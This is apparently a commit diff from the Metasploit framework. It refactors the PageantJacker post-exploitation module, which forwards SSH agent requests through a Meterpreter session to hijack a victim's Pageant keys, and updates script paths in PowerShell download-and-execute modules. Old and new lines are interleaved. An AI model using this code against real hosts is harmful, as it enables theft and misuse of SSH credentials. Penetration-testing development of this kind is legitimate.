print_status("Launched listening socket on #{@sockpath}")
|
||||
print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")")
|
||||
print_status("Now use any tool normally (e.g. ssh-add)")
|
||||
::UNIXServer.open(sockpath) do |serv|
|
||||
File.chmod(0o0700, sockpath)
|
||||
|
||||
loop do
|
||||
s = serv.accept
|
||||
loop do
|
||||
socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX
|
||||
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
|
||||
print_status("Launched listening socket on #{sockpath}")
|
||||
print_status("Set SSH_AUTH_SOCK variable to #{sockpath} (e.g. export SSH_AUTH_SOCK=\"#{sockpath}\")")
|
||||
print_status('Now use any SSH tool normally (e.g. ssh-add)')
|
||||
|
||||
while (s = serv.accept)
|
||||
begin
|
||||
while (socket_request_data = s.recvfrom(8192)) # 8192 = AGENT_MAX
|
||||
break if socket_request_data.nil?
|
||||
|
||||
data = socket_request_data.first
|
||||
|
||||
break if data.nil? || data.empty?
|
||||
|
||||
vprint_status("PageantJacker: Received data from socket (size: #{data.size})")
|
||||
|
||||
response = session.extapi.pageant.forward(data, data.size)
|
||||
|
||||
unless response[:success]
|
||||
print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")
|
||||
next
|
||||
end
|
||||
|
||||
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")
|
||||
|
||||
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
|
||||
response = session.extapi.pageant.forward(socket_request_data.first, socket_request_data.first.size)
|
||||
if response[:success]
|
||||
begin
|
||||
s.send response[:blob], 0
|
||||
rescue
|
||||
s.send(response[:blob], 0)
|
||||
rescue StandardError
|
||||
break
|
||||
end
|
||||
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")
|
||||
else
|
||||
print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")
|
||||
end
|
||||
rescue Errno::ECONNRESET
|
||||
vprint_status('PageantJacker: Received reset from client, ignoring.')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return unless @sockpath
|
||||
|
||||
# Remove the socket that we created, if it still exists
|
||||
::File.delete(@sockpath) if ::File.exist?(@sockpath) if @sockpath
|
||||
::File.delete(@sockpath) if ::File.exist?(@sockpath)
|
||||
ensure
|
||||
super
|
||||
end
|
||||
|
||||
def translate_error(errnum)
|
||||
errstring = "#{errnum}: "
|
||||
case errnum
|
||||
when 0
|
||||
errstring += "No error"
|
||||
errstring + 'No error'
|
||||
when 1
|
||||
errstring += "The Pageant request was not processed."
|
||||
errstring + 'The Pageant request was not processed.'
|
||||
when 2
|
||||
errstring += "Unable to obtain IPC memory address."
|
||||
errstring + 'Unable to obtain IPC memory address.'
|
||||
when 3
|
||||
errstring += "Unable to allocate memory for Pageant<-->Meterpreter IPC."
|
||||
errstring + 'Unable to allocate memory for Pageant<-->Meterpreter IPC.'
|
||||
when 4
|
||||
errstring += "Unable to allocate memory buffer."
|
||||
errstring + 'Unable to allocate memory buffer.'
|
||||
when 5
|
||||
errstring += "Unable to build Pageant request string."
|
||||
errstring + 'Unable to build Pageant request string.'
|
||||
when 6
|
||||
errstring += "Pageant not found."
|
||||
errstring + 'Pageant not found.'
|
||||
when 7
|
||||
errstring += "Not forwarded."
|
||||
errstring + 'Not forwarded.'
|
||||
else
|
||||
errstring += "Unknown."
|
||||
errstring + 'Unknown.'
|
||||
end
|
||||
errstring
|
||||
end
|
||||
end
|
||||
|
||||
@@ -46,7 +46,7 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
|
||||
OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
|
||||
]
|
||||
)
|
||||
|
||||
|
||||
@@ -10,8 +10,8 @@ class MetasploitModule < Msf::Post
|
||||
super(update_info(info,
|
||||
'Name' => "Load Scripts Into PowerShell Session",
|
||||
'Description' => %q{
|
||||
This module will download and execute one or more PowerShell script
|
||||
s over a present powershell session.
|
||||
This module will download and execute one or more PowerShell scripts
|
||||
over a present powershell session.
|
||||
Setting VERBOSE to true will show the stager results.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
@@ -25,10 +25,9 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new( 'SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
|
||||
OptPath.new( 'FOLDER', [false, 'Path to a local folder of PS scripts'])
|
||||
OptPath.new( 'SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
|
||||
OptPath.new( 'FOLDER', [false, 'Path to a local folder of PS scripts'])
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user